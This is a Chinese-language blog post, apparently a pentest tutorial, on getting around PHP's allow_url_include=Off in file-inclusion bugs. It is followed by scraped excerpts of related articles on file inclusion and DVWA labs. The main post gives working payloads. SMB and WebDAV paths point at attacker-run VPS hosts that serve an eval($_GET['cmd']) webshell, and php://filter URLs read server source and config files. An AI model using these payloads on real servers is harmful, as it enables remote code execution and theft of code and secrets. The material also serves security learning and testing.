php文件包含漏洞(allow_url_include=Off)的绕过方法

分享几个当allow_url_include = Off时的文件包含漏洞的绕过方法。

假设服务端的php代码(aaa.php)如下图所示:

第1种:smb协议

Payload:http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm

这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。

首先在VPS上搭建Samba服务,然后添加一个无需认证即可访问的共享目录,配置信息如下图所示:

然后在/home/share目录创建abc1238.htm文件,文件内容为:<?php phpinfo();?>

最后启动Samba服务,访问http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm即可绕过allow_url_include = Off的限制GetShell。

第2种:WebDAV

Payload:http://127.0.0.1/aaa.php?path=\\36.*8.**.74\webdav\code.htm&cmd=phpinfo();

这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。

首先在VPS上搭建WebDAV环境,我是基于Ubuntu+Apache httpd搭建的WebDAV环境。

然后在WebDAV目录下创建code.htm文件,文件内容为:<?php eval($_GET[‘cmd‘]);?>

最后启动Apache httpd服务器,访问http://127.0.0.1/aaa.php?path=\\36.*8.**.74\webdav\code.htm&cmd=phpinfo();即可绕过allow_url_include = Off的限制GetShell。

第3种:php://filter/

利用php://filter/不能直接GetShell,但可以读取网站php代码文件,然后进行代码分析。或读取网站配置文件等其他重要文件。

Payload:

http://127.0.0.1/aaa.php?path=php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/index.php

http://192.168.56.130/aaa.php?path=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php

执行上述Payload会将D:/phpStudy/WWW/drupal-7.54/index.php文件以base64编码形式返回。

这种方法在Linux和Windows服务器都可以。

这几种绕过方法都是从大佬那里偷师学艺学来的,附带参考链接:

https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx

https://www.cnblogs.com/iamstudy/articles/include_file.html

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

原文地址:https://www.cnblogs.com/dgjnszf/p/10956884.html

时间: 2024-10-27 13:28:18

php文件包含漏洞(allow_url_include=Off)的绕过方法的相关文章

文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url

PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段.本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细的分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. 1. PHP文件包含漏洞介绍 首先,我们来介绍下何为文件包含漏洞.严格来说,文件包含漏洞是“代码注入”的一种

网站安全(7) —— PHP文件包含漏洞介绍

其原理就是注入一段用户能控制的脚本或代码,并让服务端执行.文件包含漏洞可能出现在JSP.PHP. ASP等语言中,原理都是一样的,本文只介绍PHP文件包含漏洞. 要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件: 1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 (文件包含函数还有 include_once().require().require_once()) 2. 用户能够控制该动态变量 现在来看一段简单的文件包含代码: ? 1 2 3 <?ph

DVWA系列之16 文件包含漏洞挖掘与防御

下面我们来分析一下DVWA中文件包含漏洞的源码. 首先文件包含的主页面是D:\AppServ\www\dvwa\vulnerabilities\fi\index.php文件,文件中的主要代码部分: 在这段代码中,首先使用switch语句根据用户选择的安全级别,分别将low.php.medium.php.high.php赋值给变量$vulnerabilityFile,接下来使用require_once函数来包含用户所选择的页面,最后用include函数来包含变量$file. 变量$file正是来自

PHP文件包含漏洞

php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入. 基本的代码: If($_GET['func']) { Include $_GET['func'] } Else { Include 'default.php' } 本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php 如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕

10_文件包含漏洞(属于任意代码执行)

一.背景介绍 随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式. 二.漏洞成因 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入.当被包含的文件在服务器本地时,就形成的本地文件包含漏洞.被包含的文件在第三方服务器时,就形成了远程文件包含漏洞. 本地到

利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1 前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件.但是使用SMB依旧可以加载. 攻击思路 攻击者需要

【DVWA(九)】文件包含漏洞

文件包含漏洞 前言: 由于开发人员编写源码,将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行.由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行.文件包含攻击中WEB服务器源码里可能存在inlcude()此类文件包含操作函数,通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因. 如果攻击者为动态包含指令指定一个有效文件,那么该文件的内容会被传递给 PHP 解析器,

web安全原理-文件包含漏洞

前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件.如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行. 文件包含漏洞肯能会造成服务器网页被篡改.网站被挂马.服务器被远程控制.被安装后门等危害. 常见的文件包含函数: 1.include() 包含并运行制定文件.在出错时